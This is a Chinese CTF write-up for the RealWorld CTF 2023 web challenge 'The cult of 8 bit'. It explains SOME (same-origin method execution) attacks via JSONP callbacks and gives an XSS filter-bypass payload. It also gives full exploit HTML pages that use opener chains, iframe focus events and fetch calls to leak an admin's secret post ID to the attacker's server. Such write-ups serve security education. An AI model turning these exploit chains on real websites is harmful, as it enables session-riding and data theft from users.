Realworld CTF 2023 The_cult_of_8_bit详解

WriteUp 2年前 (2023) admin
359 0 0

Realworld CTF 2023 The_cult_of_8_bit详解

本文为看雪论坛优秀文章

看雪论坛作者ID:pank1s





前言


这题要用到的一些知识点:


  • 同源策略(https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
  • jsonp(https://zhuanlan.zhihu.com/p/24390509
  • Same Orign Method Execution (同源方法执行)(https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf
  • 浏览器的opener 对象(https://developer.mozilla.org/zh-CN/docs/Web/API/Window/opener
  • iframe(https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe
  • XHR(https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest
  • 特征策略(https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Permissions_Policy



二一


提前要了解的一些东西


关于同源策略


同源策略具体可以参见文档:

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy


这里主要介绍下 跨源脚本 API 访问。


Realworld CTF 2023 The_cult_of_8_bit详解


Realworld CTF 2023 The_cult_of_8_bit详解


window 对象表示的就是当前页面,字面意思,是 “根”。


可以发现 window 对象的 opener top location frames focus() 等关键属性和方法我们都是可以跨域访问的,这就为我们后面解题提供了依据。


注意:像上面的那些属性和方法都是 window对象下的,意味着他们都是全局属性或全局方法,即可以类似这样直接访问,不需要使用 window. 来操作。

//将window.location赋值为http://example.com,即重定向跳转到http://example.comlocation = "http://example.com";
//获取到当前页面中name为test的iframe对象let testIframe = window['test'];//或let testIframe = window.frames[0];//获取第0个iframe

对于上面的 opener 属性也很有趣,它指向当前窗口的打开者。


即 A 页面使用 open 方法打开了 B 页面,那么 B 页面的 opener 就指向了 A 页面的 window。


注意:opener指向的是页面窗口,也就是说你页面的URL再怎么变,opener是不变的。

Realworld CTF 2023 The_cult_of_8_bit详解

同样,对于 opener 对象内容的访问也要遵循同源策略。


关于jsonp


jsonp的出现是为了解决一些前端的跨域问题。现浏览器一般情况下都要遵循同源策略(https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy),所以跨域传输数据就会比较麻烦,所以出现了jsonp这种东西,相关文档参考: https://zhuanlan.zhihu.com/p/24390509


简单来说下,就是像<script> 标签是支持跨域的,所以利用 <script> 标签来跨域获取到要执行的方法和参数,前端将获取到的方法和参数添加到 html 的 script 标签中从而解决跨域问题。而这里要说的题就是利用jsop跨域来进行 Same Orign Method Execution Attack (同源方法执行攻击)。


SOME(Same Orign Method Execution)同源方法执行


这里大力推荐这篇论文,讲的非常详细:

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf


这里大致说一下是怎么个回事。


比如我前端要跨域获取一些数据,于是我前端可以这样写

http://example.com/

<html>    <body>        <a href="javascript:alert('hack')">hack</a>        <script>            function load_data(data) {                console.log(data['data']);            }            let callback = new URLSearchParams(window.location.search).get('callback');            let script = document.createElement("script");            script.src = "http://otherSite.com/endpoint?callback=" + callback;            document.head.appendChild(script);</script>    </body></html>


我们访问 http://example.com/?callback=load_data


后端 http://otherSite.com/endpoint?callback=load_data 访问返回了这样的数据:

load_data({"data":"data"})


那么利用jsonp在 http://example.com/ 成功跨获取到了 http://otherSite.com/ 这个域的数据,并执行 load_data 方法在控制台打印出结果。但如果我们把 callback 的参数改成其他方法,不就可以在前端执行一些方法了吗,虽然一般返回的方法内有参数,但像类似 点击、表单提交、表单输入值篡改等JavaScript 函数,(例如 element.click()、privateForm.submit()、inputElement.stepUp/stepDown()、element.select()、element.focus ()、JsDefinedFunction()、jQueryFunc()等,这些方法给他参数他也能正常执行。


像上面的例子,我们如果发送这样的url

http://example.com/?callback=document.body.firstChild.click


那么就会发现成功点击了 <a> 标签从而弹窗 “hack”


XHR


用法不过多做介绍,这里附上参考文档:

https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest


这里说一些比较少见东西,就是在什么情况下会其 open 方法会报错,发现主要有以下几种情况:

  • 传递给第一个参数 (请求方法) 的值不是有效的 HTTP 方法(例如 “GET”, “POST” 等)。

  • 传递给第二个参数 (请求 URL) 的值不是有效的 URL。

  • 传递给第三个参数 (是否异步) 的值不是一个布尔值。

  • 使用了特征策略 sync-xhr ‘none’ 禁止了xhr api。


关于上面第二条不是有效的 URL 可能有以下几种情况:

  • 不符合 URL 格式,例如缺少协议部分 (http:// 或 https://) 或者域名部分。

  • 使用非法字符。

  • 使用不正确的编码,例如使用百分号编码的字符不符合 UTF-8 格式。

  • 使用无效的端口号,例如端口号小于 0 或大于 65535。


例:

// 使用非法字符如中间加入空格,%00等let xhr = new XMLHttpRequest();xhr.open("GET", "https://www.ex ample.com");xhr.send()//在send时报错
// 使用不正确的编码let xhr = new XMLHttpRequest();xhr.open("GET", "https://www.example.com/%00");//在open时就会报错xhr.send()
// 使用无效的端口号let xhr = new XMLHttpRequest();xhr.open("GET", "https://www.example.com:70000");//在open时就会报错xhr.send()


iframe与特征策略


iframe参考文档:

https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe


有关iframe的一些黑魔法:

https://blog.huli.tw/2022/04/07/iframe-and-window-open/


iframe 就是新开了一个页面,iframe的父子窗口之间使用js交互同样必须遵循 同源策略,若想跨域操作可以用 postMessage(https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage)。


iframe有个 allow 属性,用于为<iframe>指定其 特征策略 ,所以我们完全可以限制iframe页面的一些功能,像可以禁掉其中的一些api,比如 xhr。





题目分析


尝试csrf(失败的方案)


好了,说了这么多终于要回到正题了。


题目给了源码,是一个简单的 expressjs 笔记存储服务,源码很长,需要慢慢审。这里说下关键的地方。


首先xssbot是以admin登录后访问我们给的url,没啥好说的。


后端有这么几个路由:

app.get("/login/", mw.requiresNoLogin, (req, res) => res.render("login"));app.get("/register/", mw.requiresNoLogin, (req, res) => res.render("register"));
app.get("/report/", mw.requiresLogin, (req, res) => res.render("report"));app.get("/post/", (req, res) => res.render("post"));app.get("/", (req, res) => res.render("home"));


可以发现 / 和/post/ 者两个页面没有校验 csrftoken和登录情况。


db.js 中

(() => {    let flagId = crypto.randomUUID();    console.log(`flag post ID: ${flagId}`);
posts.set(flagId, { name: "Flag", body: process.env.FLAG || "flag{test_flag}" });
users.set("admin", Object.freeze({ user: "admin", pass: sha256(process.env.ADMIN_PASSWORD || "password"), posts: Object.freeze([flagId]), todos: Object.freeze([]) }));

flag对应着post id。


所以只要我们知道对应的post id就可以通过 /post/ 路由不用登录直接拿到flag。


同时在 /create/post 路由中:

router.post("/create/todo", [mw.csrfProtection, mw.requiresLogin], (req, res) => {    let { text } = req.body;
if (!text) { return res.redirect("/?msg=Missing text"); }
if (typeof text !== "string") { return res.redirect("/?msg=Missing text"); }
let isURL = false; try { new URL(text); // errors if not valid URL isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no } catch {}
req.user.todos.push({ text, isURL });
res.redirect("/");});


可以看到对传来的text进行了过滤,拦截了以 javascript: 开头的 text。


这里对应前端 home.ejs。

<%_ user.todos.forEach(todo => { _%><%_ if (todo.isURL) { _%><li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li><%_ } else { _%><li class="has-text-left"><%= todo.text %></li><%_ } _%><%_ }); _%>


这里的绕过也很容易,给出这样的payload即可绕过。

http://a? onfocus=alert(123) id=x


new URL(“http://a? onfocus=alert(123) id=x”) 不会报错。


之后访问 http://localhost:12345/#x 获取到id为x的焦点事件即可xss。

Realworld CTF 2023 The_cult_of_8_bit详解

但是,注意,这个点在这题并用不上。


首先题目使用了csrftoken,所以没法直接利用CSRF让xssbot向/api/create/todo 发送对应的xss payload来达到目的,其次还有重要的一点是这里:

// Don't allow admin to make new posts / todosrouter.use((req, res, next) => {    if (req.user.user === "admin")  {        return res.redirect("/?msg=Nice try");    }    next();});


直接限制死了admin不可能向 /api/create/post 和 /api/create/todo 发送数据。


所以走csrf这条路是不行了。


利用 SOEM ATTACK 窃取post id


注意前端 post.ejs

window.onload = function() {    const id = new URLSearchParams(window.location.search).get('id');    if (!id) {        return;    }
// Load post from POST_SERVER // Since POST_SERVER might be a different origin, this also supports loading data through JSONP const request = new XMLHttpRequest(); try { request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false); request.send(null); } catch (err) { // POST_SERVER is on another origin, so let's use JSONP let script = document.createElement("script"); script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`; document.head.appendChild(script); return; }
load_post(JSON.parse(request.responseText));}


这里可以发现,如果 try 捕获到了异常,就会使用 jsonp 技术来获取post相关信息。


后端处理

router.get("/post/:id", (req, res) => {    let { id } = req.params;
if (!id || typeof id !== "string") { return res.jsonp({ success: false, error: "Missing id" }); }
if (!db.posts.has(id)) { return res.jsonp({ success: false, error: "No post found with that id" }); }
let post = db.posts.get(id); return res.jsonp({ success: true, name: post.name, body: post.body });});


但前端 post.ejs 中的 POST_SERVER 定死了,我们没法去修改它。


所以可以考虑从查询参数 id 中入手,想办法让我们随心修改 callback 参数从而实现 SOME 攻击。


这里解决的点有两个:

① 让 open 或 send 方法出错从而让我们可以使用jsonp。

② 要截获 url 查询参数中的 callback 参数。

解决这两个点有两种不同的方案。


方案一

思路来自 https://sh1yo.art/ctf/thecultof8bit/


上文说过,我们可以利用 %00 来让 open 方法报错。


像这样的链接

http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%00


这个链接经过

const id = new URLSearchParams(window.location.search).get('id');


提取得到

22121be0-5a1f-4cd7-be2d-be073a0cac22x00


最终经过 encodeURIComponent(id) 方法进行url编码后再拼接就成了

/api/post/22121be0-5a1f-4cd7-be2d-be073a0cac22%00


这个url放到 open 方法中正好是会报错的,解决了第一个点。


对于第二个点可以这样构造

http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23%00


不过多解释了,看图就明白了。

Realworld CTF 2023 The_cult_of_8_bit详解

这样我们就可以随便控制 callback 参数来实现 SOME 攻击了。


方案二


思路来自 https://blog.maple3142.net/2023/01/08/real-world-ctf-2023-writeups/#the-cult-of-8-bit


这个思路也很巧妙。


上文也说过,iframe可以通过 allow属性来设置一些特征策略,其中包括了 sync-xhr策略,可以在iframe中加载

http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23


同时设置其 allow=”sync-xhr ‘none'” 来禁用 xhr,使得try捕获异常从而跳转使用jsonp访问。


这里截获 callback 参数同上,原理是一样的。


test2.html

<html>  <body>    <script>      var iframe = document.createElement('iframe');      iframe.src = "http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23";      iframe.allow = "sync-xhr 'none'";      document.body.appendChild(iframe);</script>  </body></html>

Realworld CTF 2023 The_cult_of_8_bit详解

上面两个方案之后的操作都是配合 SOME 攻击,利用 focus 事件 + iframe来逐位爆破post id。详细见下文题解。





题解


下文用到的知识点是SOME ATTACK,强烈建议先看论文 https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf


方案一


紧接着上文方案一,我们创建4个html文件。


注意location虽然变了,但opener是不变的。


a.html

<script>    open("/b.html");//打开b.html    location="http://localhost:12345/";//重定向到admin的主页面(含有post id)</script>

a.html负责打开 /b.html 和将自身页面重定向到 http://localhost:12345/


b.html

<a id="default" href="#">default</a><!--默认聚焦点--><script>    //生成对应的iframe    //post id是uuid,范围是 0-9 a-f 和 -    var charList = "0123456789abcdef-";//注意把数字放前面,应为window['4']和window[4]是一样的    var resId = "";
charList.split('').forEach(name => createIframe(name));
function createIframe(name) {
let tmpIframe = document.createElement('iframe'); tmpIframe.name = name;//为iframe设置name属性 document.body.appendChild(tmpIframe); }
//监听焦点变化 function listenFocus() {
let activeFocusName = document.activeElement.name; if(activeFocusName) {//若监听到iframe焦点 resId += activeFocusName; document.getElementById("default").focus();//初始化焦点 fetch(`/res/${resId}`); } }
setInterval(listenFocus, 100);
open("/c.html");</script>


b.html 负责创建 0123456789abcdef- 每个字符的iframe页面,同时创建焦点监听器监听焦点情况,如果监听到某个iframe的焦点则发送该iframe的name。之后打开 /c.html。注意 b.html 的 opener 指向 a页面(http://localhost:12345/)。


c.html

<script>    open("/d.html");    //执行回调函数的页面    location="http://localhost:12345/"</script>


c.html页面的 location受 d.html 页面控制,是个自由页面,用于执行SOME攻击。注意c.html 的 opener 指向 b.html。


d.html

<script>    const selfPostId = "6202f8a2-463d-4754-9675-eecde65b619c";//自己页面随便给个postid    var host = "http://localhost:12345";
async function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); }
async function main() {
for(let i = 0; i < 36; i++) { let payload = `opener[opener.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].text[${i}]].focus`; opener.location = `${host}/post/?id=${selfPostId}?callback=${payload}%23%00`; await sleep(200);//时间根据情况调整 } } setTimeout(main, 500);//等待所有页面加载完整后启动主程序</script>


注意 d.html 的 opener 指向 c页面。该页面的为主启动页面,利用多级opener,结合SOME攻击和focus事件逐位爆破a页面的post id。


4个页面放服务器上,之后向xss bot发送 http://192.168.1.3:8000/a.html 爆破即可。


Realworld CTF 2023 The_cult_of_8_bit详解


方案二


接上文题目分析的方案二。


需要两个页面。


index.html

<script>    open('/exp.html');    location = 'http://localhost:12345/';</script>


exp.html

<a id="default" href="#">default</a><script>    async function sleep(ms) {        return new Promise(resolve => setTimeout(resolve, ms));    }    const selfId = "0780dd9c-e326-4786-ad80-e0e9d032cb4a";//自己给个存在的post id    const host = "http://localhost:12345";//题目地址    const charList = "0123456789abcdef-";    var resId = "";
function createCharIframe(name) { var tmpIframe = document.createElement('iframe'); tmpIframe.name = name; document.body.appendChild(tmpIframe); } charList.split('').forEach(name => createCharIframe(name));
(function createChallengeIframe() { var challengeIframe = document.createElement('iframe'); challengeIframe.name = "challenge"; challengeIframe.src = host; challengeIframe.allow = "sync-xhr 'none'";//使用特征策略禁止xhr document.body.appendChild(challengeIframe); })();
async function exploit() {
var challenge = window['challenge']; for(let i = 0; i < 36; i++) { //payload let payload = `top[top.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].text[${i}]].focus`; challenge.location = `${host}/post/?id=${selfId}%3Fcallback=${payload}%23`; await sleep(200);//时间根据情况调整 } }
//监听焦点变化 function listenFocus() {
var activeFocusName = document.activeElement.name; if(activeFocusName) {//若监听到iframe焦点 resId += activeFocusName; document.getElementById("default").focus();//初始化焦点 fetch(`/res/${resId}`); } } setInterval(listenFocus, 100); sleep(2000); exploit();</script>


同样是利用 SOME ATTACK 和iframe的focus事件来爆破post id。

Realworld CTF 2023 The_cult_of_8_bit详解

上述两个方案的题解中有关同源策略的问题可以自己体会体会。



参考链接

https://sh1yo.art/ctf/thecultof8bit/
https://blog.maple3142.net/2023/01/08/real-world-ctf-2023-writeups/#the-cult-of-8-bit
https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Permissions_Policy
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/opener
https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe
https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest




Realworld CTF 2023 The_cult_of_8_bit详解


看雪ID:pank1s

https://bbs.kanxue.com/user-home-952339.htm

*本文由看雪论坛 pank1s 原创,转载请注明来自看雪社区

Realworld CTF 2023 The_cult_of_8_bit详解

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


Realworld CTF 2023 The_cult_of_8_bit详解


Realworld CTF 2023 The_cult_of_8_bit详解

球分享

Realworld CTF 2023 The_cult_of_8_bit详解

球点赞

Realworld CTF 2023 The_cult_of_8_bit详解

球在看


Realworld CTF 2023 The_cult_of_8_bit详解

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):Realworld CTF 2023 The_cult_of_8_bit详解

版权声明:admin 发表于 2023年4月4日 下午6:00。
转载请注明:Realworld CTF 2023 The_cult_of_8_bit详解 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...